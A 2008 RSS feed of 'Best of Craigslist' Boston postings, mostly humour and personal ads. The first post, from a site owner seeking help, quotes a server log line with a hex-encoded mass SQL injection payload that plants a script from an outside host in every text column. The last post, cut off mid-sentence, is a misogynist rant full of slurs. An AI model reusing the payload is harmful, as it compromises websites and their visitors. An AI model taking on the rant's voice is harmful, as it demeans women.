Best of Craigslist

Best of Craigslist http://www.craigslist.org/about/best/ Best postings from craigslist.org, selected by readers en-us Copyright 2008, craigslist.org webmaster@craigslist.org webmaster@craigslist.org http://www.craigslist.org/about/best/ Best of Craigslist Collection 2008-07-04T14:07:10-04:00 2 daily Web Security Consultant / Database Expert Needed over Weekend http://www.craigslist.org/about/best/bos/742662737.html We have a growing travel website that has been down for the past two weeks. We have been experiencing repeated attacks - sql injections that crash our database. Our developer has tried to fix this but has not been able to, due to time allotment, she works on a part-time basis and the fact that we can't restore database independently because of shared hosting environment/knowledge. We have been trying fixes but have not been able to do it yet. And our host has extremely limited availability to restore the db when it is crashes. So I would need someone to review our fixes, and show me or teach me how to fix this manually in the code and then copy the database and restore it myself, and then make sure we are tightened up and secure against other attacks. Let's discuss rates and capabilities. The sooner the better. Here is one of the hacks 41.232.166.49 - - [30/Jun/2008:17:02:38 +0000] "GET /filename.aspx?letter=A;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST (0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E737570706164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- HTTP/1.1" 200 Some posts about it <a href="http://www.secureworks.com/research/blog/index.php/2008/6/4/new-round-of-mass-sql-injections/">http://www.secureworks.com/research/blog/index.php/2008/6/4/new-round-of-mass-sql-injections/</a> <a href="http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1318860,00.html">http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1318860,00.html</a> <a href="http://www.microsoft.com/technet/security/advisory/954462.mspx">http://www.microsoft.com/technet/security/advisory/954462.mspx</a> <ul> <li> Location: Somerville <li> This is a part-time job. <li> This is a contract job. <li>Principals only. Recruiters, please don't contact this job poster. <li>Please, no phone calls about this job! <li>Please do not contact job poster about other services, products or commercial interests.</ul> webmaster@craigslist.org 2008-07-04T14:07:10-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/742662737.html Web Security Consultant / Database Expert Needed over Weekend text trade my hot wife for 2 celts tickets! http://www.craigslist.org/about/best/bos/711061927.html trade 1 night with my wife shes 5-4 105 brown hair eyes great body tanned toned very pretty girl 1 night all safe and normal stuff dinner movie drinks no drugs or crazy requests serious replies only must reply with a picture to be considered please normal guys only <ul> <li> Location: medford <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-07T10:45:25-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/711061927.html trade my hot wife for 2 celts tickets! text So you wanna get laid... http://www.craigslist.org/about/best/bos/702500968.html Let's face it: you wanna get laid. You're a single, straight 20-something / 30-something / middle-aged stud and it's been 3 days / 3 months / 3 years since you last had the pleasure of a naked woman in your futon / bed / parents' basement. Hey, you're a confident, classy guy. You deserve to find someone special--someone who is sexy, smart, and thin / thinner than you by 10 lbs / thinner than a woolly mammoth. Being a crafty fellow, you realize that the ultimate goal is not getting laid once, but multiple times (as often as possible!), and preferably with a woman who can stand your hairy back / hairy butt / hair plugs. Where else to go to find your Lady Love but Craigslist (or, if that doesnt work, Adult Friend Finder)? Youve been on CL M4W before, but havent had good results--too many baby-hungry / money-hungry / KFC-hungry ladies. This time, you vow, things will be different. This time, you decide to spend an extra 5 minutes / 5 hours / 5 days crafting your ad, choosing just the right words to capture your creativity / intelligence / obsession with Grand Theft Auto. Youre positive that this time, the 10 words / 10 paragraphs / 10 lists of random personal traits you wrote show the real you. Youve taken care to hide your real weight / not mention your three ex-wives / avoid a desperate plea for sex. You even used spell check for typos! You click publish and your on youre way--er, youre on your way. Next morning, you wake up wondering who might have responded to your ad. Wow, you have five / fifteen / fifty messages in your inbox! Oops, some of them are from bots / men / Russian girls with pay-for-porn URLs. Oh, well, you still have two / three / five emails from real women. Dude! You crack open a Red Bull / beer / juice box and start cruisin. A few hours later, you have seen enough tramp stamps / saggy boobs / fugly hags (no offense, grandma-lady) to last a lifetime. And then you see it, the online dating holy grail: a response from a flirty-looking, smart-sounding cutie pie! Wow, she can write whole sentences. Even better, she is vegan / loves the Sox / has a decent rack. You reply back. This. Could. Be. It! You try not to get too excited, though. She could have crabs / a convicted felon ex-boyfriend / shitloads of debt shell expect you to pay. A few days later, youre still corresponding with Cutie Pie. Being bold / bored / horny, you ask to meet up. Sure thing! she replies. I love going out with guys from CL (wink wink). You find her comments charming / annoying / indicative of a mental disorder, but you try to keep an open mind. You decide to meet at your favorite mall / Starbucks / bar. With your best non-smelly tee / dress shirt / Sox jersey and a dash of Old Spice / Brut / Ivory soap, you are looking hot. You arrive early. While you wait, you check out chicks / chug espresso / nurse a beer. Finally, she arrives--only 5 minutes / 15 minutes / 45 minutes late. Holy shit! Shes 10 times prettier / fatter / taller than you expected. Hey, its all good; you can roll with the punches. You sit down and order a smoothie / double-shot latte / Jack on the rocks and ease into conversation. After thirty minutes, youre pretty sure Cutie Pie is dumber than rocks / into BDSM / one date away from suicide. You, of course, are your usual charming / clueless / monotone-voiced self, and being a gentleman, you wait another ten minutes / forty minutes / two seconds before making your excuses about having to leave. Oh, shit, she has that look in her eye, the one that says, Hey, are we gonna continue this or what? You would rather see her in your nightmares / in hell / in your bed, drunk and naked, but of course you cant say that. Instead you say, I had a great time. It was nice knowing, uh, meeting you. Best of luck with graduating from college / going to law school / working on a farm in Bolivia. You head home, disappointed again: yet another night youre not getting laid. Oh, well. At least you have Scrabulous / the Daily Show / your hand and some lotion to entertain you. Besides, youre optimistic. Tomorrow, youre going to post a profile on Match.com / e-Harmony / CL Worcester. Next time youll definitely get tail, you just know it. ********************* A huge RAVE to the thoughtful, charming, and yes, horny men who remain optimistic about dating on CL despite bad, crazy, or just awkward dates. Speaking from personal experience, women have it tough, but you have it much, much worse. For the record, not all CL women are bitches, bots or sloths; you just have to look hard to find us. -27/f <ul> <li> Location: Here, there, everywhere <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-05-31T14:32:54-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/702500968.html So you wanna get laid... text Free Man's Toupee http://www.craigslist.org/about/best/bos/573125488.html Only worn twice. From The House of Frank. Real human hair. Brownish blonde with a sprinkling of gray highlights. One size fits all. Can be trimmed to suit taste. Wash in washing machine, gentle cycle. No bleach. Looking for new owner because neighborhood dogs growl at me when I wear toupee. Also squirrels chase me down the street. Maybe you will have better luck. email for p/u.  <ul class="blurbs"> <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2008-02-13T16:54:48-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/573125488.html Free Man's Toupee text How to write an effective missing connections post http://www.craigslist.org/about/best/bos/559104954.html Gazing From Afar Be Specific There are 3 million people in Boston. Don't assume the person you think you missed a connection with saw you, let alone remembers you. Be specific! Name which train, which direction, the time, the street, the stop, the bar, their initials, hair color, eye color, embarrassing tattoo placement, the song that was playing on the Jukebox at the time... For God sake, people, be specific! You're trying to make the connection this time! Focus on Them You were wearing a brown jacket with beige trim and have black, slightly highlighted hair, swooping three inches to the left? That's great, but what were they wearing? You noticed them. How do you expect them to know you're looking for them if you can only talk about yourself? Be Brief Keep it short and sweet. Nobody wants to read a dissertation about the person you think you might have possibly made eyes at on the T. Get in and get out. Pay a Compliment You've been thinking about this person long enough to get on the Web and type something up, so take the time to make your compliment count. Most girls don't want to hear, "Your ass looked so damn fine." You are trying to get her to write you, remember? People tend to like words like "beautiful", handsome, "breathtaking", "gorgeous". If you're at a loss, check a Thesaurus [see also: dictionary.com]. Write Properly This is your second chance at a first impression. Don't blow it with bad grammar. If you're too lazy to hit the Shift key every now and then, at the very least, make the effort to type out full words, write in complete sentences, and punctuate. And for God sake, stop screaming. Don't Beg Yes, we know you'd love to talk to this person. We know, because you just spent (hopefully only) a couple sentences explaining who they are and why you noticed them. If you did a good job with this, it really isnt necessary to reiterate that you'd love to talk. That is why you filled out the e-mail form at the bottom of the page. Be Charming or Clever Chances are good that they didnt notice you the first time, but if youve done a good job describing them, and are charming, cute, or clever enough in your delivery, you still have a shot in hell that they might contact you anyway. And if they did notice you the first time, a little charm never hurt anyone. We Talked, But I Was Too Shy What did we talk about? Mention something memorable you said, because the person you spoke with may have talked to a lot of people that night. Our Time Has Passed, But Be Specific If random spottings on the streets of Boston need specificity, its possible that its even more crucial here. Many people have experienced bad breakups. Many people are missing someone or are hoping they are missed. Vagueness is not endearing here. Use the persons initials and mention at least one thing that only the intended person would recognize or know about. The downside to not being specific enough here is that everyone will think its about them, which brings us to Dont Start a Conversation You shouldnt need to start an ongoing conversation in order to figure out whether or not you are the intended receiver of the missed connection. These can go on for pages, and are frankly annoying. Follow step one and you wont need step two. If you are the intended receiver of the missed connection, there are e-mail links included for a reason. Use them. I Gave You My Number, But You Never Called This isn't a missed connection. This is tough shit.   <ul class="blurbs"> <li> Location: porter square <li> it's ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2008-02-01T00:08:20-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/559104954.html How to write an effective missing connections post text Getting paid to use Craigslist? Hell yes. http://www.craigslist.org/about/best/bos/555888139.html So I've been chatting with the IT guy here, standard IT cat: long hair in a pony tail, survives on junk food, into shit like dressing up like a knight (or dragon) with like minded pals on the weekend, RedHat Linux gets his cock hard (his enthusiasm for this is similar to mine when discussing the finer points of a Jake Malone flick) and he posseses a severe collection of porn (some of it hentai...which makes no sense---to me at least....). An interesting and brilliant dude, he wields more power over the workings of the office than any of the other wage slaves and our pig-oppressor masters. I dig this guy, and find the way he handles these over paid, over educated fools to be genius. He and I became quick friends, and though we are nothing alike, we share our disdain for the *leadership* of this dump; an appreciation for stellar weed, and the endless enjoyment/entertainment of the absurd circus some call *work*. Anyway, I had questions about the network here, and the measures he and his charges take to ensure the "integrity" of the internet traffic. He offered an interesting perspective on the way the various creeps here use (and abuse) the network. He, in confidence, shared that he has viewed inter office e-mail between married people that are fucking (not their wives or husbands), junior associates that are very single who are swallowing the goop-seed of very senior partners (who are very unsingle), and long trails of yahoo chat sessions that he has followed real time for hours on end. One excellent yahoo chat included a guy jerking off on his web cam for a colleague of mine.........a guy. Now the latent homosexuality of this web cam show doesn't bother me (I hate everyone equally), rather, the guy I work with acts like uber hetero man. I guess he's not. I'll stay on his good side until after the Super Bowl, as he acts as the office bookie, when not watching creeps jerk off on their cams. IT dude has been instructed to not do much on this front, and has been given marching orders to look primarily for industrial espionage, specifically, issues related to client confidentiality, which apparently, is a complex concept for certain peers. Some of these peers specialize in very complex issues of this nature, however, in the office, this seems to not apply to their electronic communication----. He implied, though did not state, that there were potential terminations associated with such issues. 2008 promises to be an interesting year if the binary tid-bits continue to fly at this rate, pace and tenor. So, as pony tailed IT man and I discussed this, he related that he digs my CL posts (at least someone does), and that within the IT group my thoughts concerning chicks, fist fights, vicious localism, systematic murder of paedophiles, terrorists, and the best places for sweetbread and/or hand jobs, resonates with the socially challenged that populate his staff. In fact, one recent screed (concerning women's insatiable appetite for assholes) landed one of his tech-terrorists in trouble with his wife. This Junior IT cat applied (incorrectly) the most salient points of one such essay. Apparently, he started demanding his favorite meals and sexual favors, in direct conflict with my cogently clear instructions. I suspect the whole calculus of assholedom, related to females, changes when you've tied the marriage knot. He's on thin ice. That post DID come with a disclaimer...he chose to ignore it. I have come to the conclusion that those of us that post, or merely lurk, are actually providing our employers a better days work than those that subscribe to the other diversions that plague the office work culture. Another example, there is a woman that sits adjacent to me who is continually getting up and leaving the office for her car (she claims). She comes back twenty minutes later refreshed, reeking of freshly deployed perfum and ready to concentrate for a couple of hours before her next "car visit." This chick keeps insane hours and works like a fiend; I suspect she is one of those professional tweekers. She will crash soon. Her work is of high quality, and I dig her, though her phrenetic pace and sudden loss of weight is alarming. I have seen pictures of her from her college years, she was quite appealing. Time has been unkind to her---though I am certain, most of you posting your confessions would fuck her. Yet more examples: In this office we have a number of on-going salacious affairs. These folks are sneaky, but their predictable behaviors betray their intention. They stagger their departures to lunch, plan their exits curiously, and fool most of the people here, though not me or my IT colleague. The best thing about these trsyt-risk takers is the awkward ways these participants tip toe around the annual office shin digs where families show up, this year's was no exception. I went only to watch these little dances. Perhaps those observations are worth sharing, if for no other reason, this information could act as a "This is not what you do if you want to keep your affairs hidden" type of guideline..... The amount of time these (literal) fuckers use to plan their trips to the no-tell-motel must be countless. I guess they are getting paid to fuck, which I suppose is good..... Though hardly worth the longterm risks. So while the others in the office are powdering their noses, blowing their *mentor* or trying to seduce some chick (or dude) on yahoo chat, we sitting here at our desks writing/reading/flagging this garbage are actually entirely accessible, and capable of not only appearing to be busy, but also doing actual work while scribbling this crap. Conclusion: Those of us, condemned to life behind a desk, have earned the right to Craigslist....   <ul class="blurbs"> <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2008-01-29T15:16:26-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/555888139.html Getting paid to use Craigslist? Hell yes. text The CL R &amp;amp; R Football Post-Game Show http://www.craigslist.org/about/best/bos/546154873.html Its that time of year again when football is winding to a close and CL Rants & Raves can return to its normal dysfunction. Yeah, yeah, I know there is still the Superbowl, but after that itll be smooth sailing. So, in honor of surviving another season of football postings on CL coming to a close, I give you the Top reasons why CL posters everywhere should breathe a collective sigh of relief: 1) No more homophobic or colorful slurs used to trash-talk opposing teams fans. For at least another year, the words Fudgepackers, Gaytriots, Foreskins, Seafags, Cowballs, etc. will not be used. But on a side note, the football fans that DO post such comments should just come out of the closet already. For the love of God its 2008 already. Me thinks you doth protest too much! 2) No more armchair weather experts. Yes, it is sunny and warm in San Diego, Florida, Arizona, etc. in January & yes, it snows in Pittsburgh, Massachusetts, Wisconsin, etc. Somehow trash-talking has oddly spun off into which state has, umweather. Lets face it, if it snowed in San Diego and was 80 degrees in the Northeast in January Al Gore wouldnt only have a Nobel Peace Prize, hed be friggin ordained a Saint by the Pope himself. So whether youre sledding or catchin some rays on the beach, it doesnt mean your team will win. Now if were talking upper air troughs, thats a whole new bag. 3) No more early posts during a game. Ex.: Its 7 minutes into the 1st quarter & football fans feverishly post on the opposing teams R & R, oh, something along the lines of LOOK WHOS WINNING NOW YOU PATHETIC DOUCHBAG PANSY ASS LOSERS WHO LIVE IN LOSERVILLE. GO BACK TO (insert city of opponents team to make fun of here) & CRY TO YOUR MOMMYS.WHAAAAAAAAAAAAAAAAAAA, only to have the ball intercepted and the other team score a TD before you can finish typing. There is help for premature ejaculation, please seek help for premature posting. 4) No more stereotyping of cities & the people who live there. For example: Go back to your homeless mess of a beatnik town & play your grunge music you #$&%. = a football fan who wants Seattle to lose. Or, Your wife, oops, I mean cousin is calling you to come out and shuck corn you toothless inbred. = a football fan who wants to see Indianapolis lose. Id say Cant we all just get along? but thats such an overused cliché so instead Ill just say, It is what it is. (& what it IS is making you look like morons). 5) No more excuses for a team losing by posting, The refs were against us or Injuries left us vulnerable. Two of these quotes are just like the other. (Insert Sesame Street music here) Football fans referring to a team as us. Unless youre out on the field going for a 4th & 1 or just sacked a QB, you are not us. (Use of sentences that use the words our team or we won also apply). 6) No more football fan posting on another citys board 73 days after the game was played STILL posting just to remind the opposing teams fans that, yes, your team won & asking how it feels to be PATHETIC DOUCHEBAG PANSY ASS LOSERSyou get the point. 7) And last but not least, no more posts that are so vile they make Hannibal Lecter look like Ghandi. For those of you who felt the need to back up your teams ability to win by making fun of, or posting pictures of, 9/11, black people being lynched, Redskins player Sean Taylors death, the Rhode Island fire, etc. I bid you farewell and a big FUCK YOU!! So there you have it. I know Ive missed a few but I think that pretty much covers it. So to all of you football fans who posted any of the above, its been a long, hard fought football season on CL R & Rs everywhere. But if its any consolation I hope you can take comfort in the fact that you lived up to your posts& succeeded in making this CL poster pray every night that you have not yet brought kids into this world because the thought of any of you helping to form a young mind scares me more than being abducted and thrown into a basement (hopefully not yours) where a serial killer is making meat helmets out of their victims. And one more thingITS LOSE NOT LOOSE!!!!   <ul class="blurbs"> <li> Location: The world... <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2008-01-21T02:09:50-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/546154873.html The CL R &amp;amp; R Football Post-Game Show text Intelligent atheist white man seeks sweetie http://www.craigslist.org/about/best/bos/533096562.html I'm a single atheist white man, 54, reputedly intelligent, with unusual interests in politics, science, music and dance. I'd like to meet a woman with varied interests, curious about the world, comfortable expressing her likes and dislikes (I hate struggling to guess), delighting in her ability to fascinate a man and in being loved tenderly, who values joy, truth, beauty and justice more than "success"--so we can share bouts of intense, passionately kind awareness of each other, alternating with tolerant warmth while we're absorbed in other aspects of life. My 23-year-old child, the Free Software Movement, occupies most of my life, leaving no room for more children, but I still have room to love a sweetheart if she doesn't need to spend time with me every day. I spend a lot of my time traveling to give speeches, often to Europe, Asia and Latin America; it would be nice if you were free to travel with me some of the time. Reply and we'll see where it leads. <img src="533096562.jpg">  <ul class="blurbs"> <li> Location: Boston <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2008-01-08T23:45:56-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/533096562.html Intelligent atheist white man seeks sweetie text An apology to the Ayn Rand man - w4m http://www.craigslist.org/about/best/bos/471214557.html Ayn Rand man, I would like to apologize for a few things. To begin with, I am sorry that I did not state in simpler words, when you asked why Ayn Rand was shelved in the fiction section instead of the philosophy section, that the Fountainhead is a novel. After I took you to the philosophy section to show you her absense in person, you began to explain your personal theories to me. You explained to me that Ayn Rand is the first person to radically change philosophy in history. You explained to me, in a soft, intimate voice, that capitalism should in fact be called "liberalism," due to the fact that it comes from the French word for "free," and that capitalism makes us free. I would like to apologize at this point for the fact that my employer prevents me from engaging in political or philosophical discussions with customers, because instead of nodding quietly, at this point, what I really should have done was point out that liber actually comes from Latin, from which both the French and English words are derived. I also apologize for not explaining that capitalism actually falls under the subject of economics. You continued on to explain that although you do not have a degree in philosophy, you teach this theory to businessmen. So I would also like to apologize for not explaining that I do actually have a degree in philosophy and would be able to clear a few things up for you; also for not mentioning that while I'm sure businessmen who regularly screw the little guy over for money in the name of capitalism are happy to learn it's actully in the name of freedom, and that I'm sure you also enjoy the benefit of the freedom your large salary entitles you to, it does not actually constitute a revolution in the philosophical world. It was only when you went on to explain to me that it is only now, through Ayn Rand, that philosophy has started to be "taken seriously as a science" and is no longer "useless," that I really began to regret this missed opportunity to engage in discussion. So, for all these reasons, man with the Ayn Rand obsession, I aplogize profusely.   <ul class="blurbs"> <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2007-11-06T21:56:25-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/471214557.html An apology to the Ayn Rand man - w4m text Red Sox Special - (Free) Big Poopie http://www.craigslist.org/about/best/bos/462463318.html My horse, who happens to be a huge Red Sox fan (his favorite player is Big Poopie), has created a delightful pile of crap and we are looking for a good home for this treasure. I will be glad to load all the manure you want into your truck or trailer and you can come back again and again for more. The manure is mixed with clean pine shavings and is partly composted already. Don't miss out on such a great deal. Go Sox!   <ul class="blurbs"> <li> Location: Topsfield <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2007-10-28T21:02:02-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/462463318.html Red Sox Special - (Free) Big Poopie text Hornets Nest http://www.craigslist.org/about/best/bos/395481455.html Somebody out there must collect these things. We're remodeling and we came across this German Yellowjacket/wasp nest in a part of the house we just stripped to the siding. It's big about 2X2 - it seems empty. Kinda pretty, no? There has to be some grad student, entomologist, Dale Gribble out there who wants this thing. And the wiring is absolutely dead. P.S. This is Craigslist - not a chat. I really don't need to hear from you if _you_ don't want it. <img src=395481455.jpg>  <ul class="blurbs"> <li> Location: Pepperell, MA <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2007-08-12T19:10:37-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/395481455.html Hornets Nest text Through being cool http://www.craigslist.org/about/best/bos/367672638.html I grew up in Australia. Australian men generally accept masculinity far better than American men, and I understand why this is. In every country on earth where boys play, there is a ritual of selecting members of each team, whether the game is soccer, cricket, football, baseball, kickball, mammoth-hunting, what have you. Most boys, at some time, have experienced the humiliation of being picked last, and it hurts. Even being picked second-last is much more tolerable than being picked last. It hurts what is important, and culturally distinct, is how the boy deals with that pain and humiliation, when he's the one picked last. In Australia, boys strive to be an asset to the team that picks them. They actually care more about how their team does than how they feel. This isn't ego annihilation, and it's not fascism. While playing the game, the game is what's important, not one's own petty issues. If a boy can table his own issues sufficiently to make a good catch, or kick a goal, he'll get picked sooner next time. He knows this. It's a question of priorities: the team wants to win, and they will pick those kids who will make it more likely that their team will win. How each individual feels during this process is irrelevant to the overall goal. Be dependable, be an asset to the team, and the rest of the team will take care of you. In Australia, there is the concept of mates. The word loosely translates as "friend", but the truth is that Americans lack the concept completely. Your mate has your back, and you have his. Your mates help define you, and accept you unconditionally. Once you're in, you're in for life. It's not easy to get in. When I was nine, I had a kid who used to annoy me mercilessly on the playground. One day, I had had enough of his picking on me, and I knocked him over with a punch. He got up, shook himself off, and shook my hand. "We're having a party this weekend. Here's where it is." I was still really angry, and I didn't immediately understand what he was doing. He wanted to know that I would stick up for myself when provoked. He needed to know if, after he was my mate, I'd stand up for him. Once he found out that I'd stand up for myself, I was in. At that party, everyone there treated me like a mate, and I felt more included than I ever did before, and I never got selected last for any game again at that school. American boys don't have this. The best have a much weaker version of this, but the commitment is conditional and halting, the bonds constantly tested by vicious games of conformity and obedience. Maybe men at war have the real thing, but I have no experience of this. Coming back to the USA, I had to teach my male friends to be mates, and it never came naturally to any of my new friends. I have American mates now, some of whom I've been friends with for twenty years, but it took an enormous amount of work, and included really rocky periods, and a lot of struggle. New people I meet, especially younger people, have no understanding of what it means to be a mate. Friendships, especially among young people, are temporary, fleeting, strategic. They exist in order to jockey for social position. American men seem treacherous, insecure, and ungrounded in comparison to Aussie men. It's killing us as a society. It's one of the great tragedies of our time. When an American boy gets picked last at a game on the playground, he gives up on ever being selected by the other boys, except last. He retreats into self-pity and misanthropy. This is encouraged by the adults, especially his parents, doubly especially when his dad made the same choices about being picked last himself. This boy tries to create a new playing field where he is the top of the selection. Because he knows he cannot compete on the playing field, he tries to compete in intellectual pursuits, or in a fantasy world, or in fandom. He collects comic books, or plays Dungeons & Dragons, or plays video games. Maybe he learns science, or literature, or art, or music. It never occurs to him to strive to improve himself, to make himself an asset to the team that might choose him. It never occurs to him that a drama is unfolding on a level bigger than that of his individual ego. When adolescence hits, this boy tries to be cool. He creates a new pecking order based around musical taste, or fashion, or obscure knowledge. He tries out for the school play, or joins the debate team, or starts a band, or joins the school's literary magazine, and tries to win approval through his creativity and intelligence. There is nothing inherently wrong with seeking approval through these channels, but the boy still has a chip on his shoulder about rejection. He strives to create not merely a new selection where he is on top, but a new selection where the kids who are successful at the old games are rejected here. He seeks to be even crueler than he thinks those other kids are to cut them down before they can hurt him again. He doesn't realize that being rejected from the alternative he has just created doesn't hurt at all, really. His ego depends upon being top of some pecking order, even an imaginary one, and he will viciously defend his new status, especially by being cruel to those who are lower down on his new pecking order. He becomes an asshole, but it's everyone else's fault but his. Ultimately, this is what it means to be cool, to be indie, to be avant-garde, to be hip. As a young punk rocker, I was saved from this insanity because I grew up in a small town where weirdos got their asses beat. In order to be weird, you had to band together and watch each other's backs. We had to trust each other in a fight, or we'd all get stomped. It was ugly, it was nasty, and it was exhausting, but at the end of the day, you really knew who your friends were. A realistic selection sprung up based on whether you were worth saving when everyone got jumped by rednecks. You sized up new potential friends for their value in dragging you out from under a half dozen pairs of steel-toed Doc Martins when the Nazi skinheads broke up your hardcore show. (I like traditional skinheads, but the Nazi skins suck ass). When the bored, redneck small-town cops harassed us for being weird, you needed to know your friends had your back when you split up and ran. The point is that every boy and every man needs to know his friends chose him. It's hard-wired into our brains. We need to know that we were worth picking, that we're valued for what we contribute to the people around us. We need it in our jobs, in our friendships, and in our relationships. Those boys and men who never get chosen, who never become the people anyone would want on their side, are damaged goods. They're not really cool, they're undeveloped. No tattoo or piercing, no leather jacket or pair of glasses, no boots or records or novels or comic books or mp3s or posters or t-shirts; no commodity of any kind is going to make a pair of balls occur where they wouldn't anyway. We live in an advertising culture where we are constantly told that the only thing that stands between our current state and wholeness is a particular commodity. It's the central lie of our culture, and the people who hate mainstream culture the most seem to cling to this lie the most intensely. Notice how many "alternative" people define their non-conformity by how readily they conform to an alternate standard? How they buy objects that articulate their rebellion for them? It has become so ingrained in our culture that the current crop of teenagers makes no distinction between consumption and expression. They are frustrated that consumption alienates them from their own feelings and desires, but they express that frustration by consuming more commodities. It's a vicious circle. Let go. Quit being cool.  <ul class="blurbs"> <li> Location: Somerville <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2007-07-06T09:16:34-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/367672638.html Through being cool text My Turtle Needs A Booty Call http://www.craigslist.org/about/best/bos/284116057.html I have a very special red-eared slider who recently "became a man," as they say. He deserves everything his little heart desires so I'm kind of hoping someone out there has a female turtle that . . . you know, needs a little something extra. She would be one lucky turtle because my turtle is very cute with huge, sexy claws. And he is also the John Holmes of turtles. That being said, my turtle doesn't need any baby momma drama and since he's pretty young in turtle years, I doubt he's ready to commit to anything exclusive or long-term. So I guess we're kind of talking about casual sex here but I promise that my turtle could give your turtle more respect and pleasure than the average "special friend." If you think that your female turtle may be interested, please contact me. And if you have any pictures, I can show them to my turtle and see his reaction. Thanks!  <ul class="blurbs"> <li> Location: Boston <li> it's NOT ok to contact this poster with services or other commercial interests</ul>  webmaster@craigslist.org 2007-02-24T19:04:54-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/284116057.html My Turtle Needs A Booty Call text I'm Done With Ya, Bitches http://www.craigslist.org/about/best/bos/279042108.html It probably coincides with Valentine's Day, even though I haven't put a whole bunch of stock in the "holiday" since I was in high school, but as of today I am done with ya bitches. You are officially not worth my time and effort any longer. Here is my list of greivances against women. Not Admitting That You Are Only Interested in NSA Sex. Listen. It takes a lot of effort to build and maintain a healthy, honest relationship with any person of any gender, no matter how great they are. If you just want to fuck, just say so. I may or may not be interested. Don't meet my friends, spend time cuddling (now a banned activity), or talking about life, the universe, and everything with me if all you really want is some dick up in ya. Don't show interest in my life, and breed interest in your own only to tell me a few weeks or months down the road that you are "just not into a relationship." My special attentions are(were) reserved for special people, not fuckholes. Golddigging. Wether you realise it or not, most of you are golddiggers. How many months salary for that diamond ring that you expect to get eventually? And what do you give in return? Maybe a blowjob. Maybe, maybe, maybe a begruding attempt at anal. Gee. Thanks. Look, you girls want a guy with money. More than you have. Admit it. You want to travel the world. Own property. Own a nice car. Own handbags and lots of shoes. You may be OK with getting these things for yourself, but a guy who can buy these things for you skyrockets past every one that can't unless he's Ted Bundy. So, those of use guys who have to make our own ways in the world with no inheritances or mamma and da-da's to provide us with stable little nesteggs (or hell, even a year or two of free rent in our adult lives) are kind of screwed. Speaking of Begrudging Attempts at Anal "Oh, go ahead, just stick it in and get it over with." A girlfriend actually said this to me once. I have never been a person to nag a woman with requests for anal. I've never even asked for it. She asked me why guys are so interested in it and I tried to explain. It's more about, in an intimate setting, allowing your entire body to become a sex organ, overcoming shame, and trusting one another. A combination of relaxation and overpowering arousal. Don't patronize my sexuality. Blowjobs & handjobs should be sloppy, noisy, and willing to finish the job. Not this "suck suck, oh my jaw" crap. I made sure to learn how to give good head. I give DAMN good head. I'm not afraid of your bodily fluids. I dive in and grab a snorkel if I need air. Let go of this bullshit femenist rhetoric and learn to worship the cock or become a lesbian. Your Friends' & Family's Relentless Scrutiny Oh my fucking god I am tired of having to prove myself to your friends and families. (straight) Men's friends and families don't require this. They are just happy that we may have found someone whom we have a chance with. Seriously. You bitches need to learn to put your friends in line when they shit talk the guy you're seeing. They will do that to every guy you date. Especially if they are divorced or single. You have no idea how stressful this is, and no respect for my going through this. Materialism You are. Look at your handbag. Bisexuality You aren't. It just makes you feel popular. You're confused because you don't realize how much this has been used as a marketing tool to sell things to men. The Toilet Seat You fucking put it up. When I walk into the bathroom, the first thing I do before I unzip is look at the toilet seat. Is it where I want it to be? No? Then I move it. Grow the fuck up. Criticism Look in the mirror. Rate yourself 1 - 10. The closer you are to 10, the less honest people will be with you about what a cunt you are. Realize this. Aknowledge this. This causes you to have a skewed vision of the world and your place in it. Figure it out. You Are a Protected Species Men protect you because they want to fuck you. Women protect you for the solidarity of the sisterhood. Your employer promotes you so that you won't sue him for not, or because she wants to "even the odds." The world is put on a curve so that you can advance and become "equal", meanwhile on the other side of that curve are men who have to work twice as hard, in jobs that you'd never want, with little or no recognition, as they LOSE stake in this world, without the balance of women who are willing to support them in the interest of "evening the odds." feel free to add to the list. I'm done with ya, bitches, because you are all 